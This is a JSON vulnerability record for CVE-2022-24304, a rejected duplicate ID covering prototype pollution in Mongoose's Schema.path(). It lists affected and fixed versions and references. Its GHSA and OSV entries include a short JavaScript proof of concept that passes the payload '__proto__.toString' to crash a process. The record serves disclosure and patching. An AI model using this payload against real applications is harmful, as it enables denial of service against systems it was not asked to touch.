{"id":"CVE-2022-24304","aliases":["EUVD-2022-6564","GHSA-h8hf-x3f4-xwgp"],"status":"rejected","title":"Mongoose Vulnerable to Prototype Pollution in Schema Object","description":"DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2022-08-26T04:44:09Z","modified":"2024-04-22T23:44:02Z","fixes":[{"ecosystem":"npm","package":"mongoose","fixed_in":["6.4.6","5.13.15"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"6.4.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"mongoose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.13.15"}]}]},{"source":"osv","ecosystem":"npm","package":"mongoose","ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.4.6"}]}]},{"source":"osv","ecosystem":"npm","package":"mongoose","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.13.15"}]}]}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24304","tags":["advisory"]},{"url":"https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8","tags":["web"]},{"url":"https://github.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141","tags":["web"]},{"url":"https://github.com/Automattic/mongoose/issues/12085","tags":["web"]},{"url":"https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e","tags":["web"]},{"url":"https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd/"},{"url":"https://github.com/advisories/GHSA-h8hf-x3f4-xwgp"},{"url":"https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2022-24304","description":"DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage","status":"rejected","published":"2022-08-26T04:44:09Z","modified":"2022-09-14T17:55:25Z","updated_at":"2026-11-02T14:34:34.940806Z"}],"euvd":[{"id":"EUVD-2022-6564","description":"DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage","status":"published","published":"2022-08-26T04:44:09Z","modified":"2022-09-14T17:55:25Z","updated_at":"2026-11-03T03:51:07.142712Z"}],"ghsa":[{"id":"GHSA-h8hf-x3f4-xwgp","title":"Mongoose Vulnerable to Prototype Pollution in Schema Object","description":"### Description\nMongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.\n\n### Proof of Concept\n```js\n// poc.js\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema();\n\nmalicious_payload = '__proto__.toString'\n\nschema.path(malicious_payload, [String])\n\nx = {}\nconsole.log(x.toString()) // crashed (Denial of service (DoS) attack)\n```\n\n### Impact\nThis vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.","status":"published","published":"2022-08-27T00:00:54Z","modified":"2024-04-22T23:17:48Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:37:44.335614Z"}],"nvd":[{"id":"CVE-2022-24304","description":"Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage","status":"rejected","published":"2022-08-26T05:15:07.513Z","modified":"2023-11-07T03:44:26.72Z","updated_at":"2026-11-02T14:07:25.883929Z"}],"osv":[{"id":"GHSA-h8hf-x3f4-xwgp","title":"Mongoose Vulnerable to Prototype Pollution in Schema Object","description":"### Description\nMongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.\n\n### Proof of Concept\n```js\n// poc.js\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema();\n\nmalicious_payload = '__proto__.toString'\n\nschema.path(malicious_payload, [String])\n\nx = {}\nconsole.log(x.toString()) // crashed (Denial of service (DoS) attack)\n```\n\n### Impact\nThis vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.","status":"published","published":"2022-08-27T00:00:54Z","modified":"2024-04-22T23:44:02.962119Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}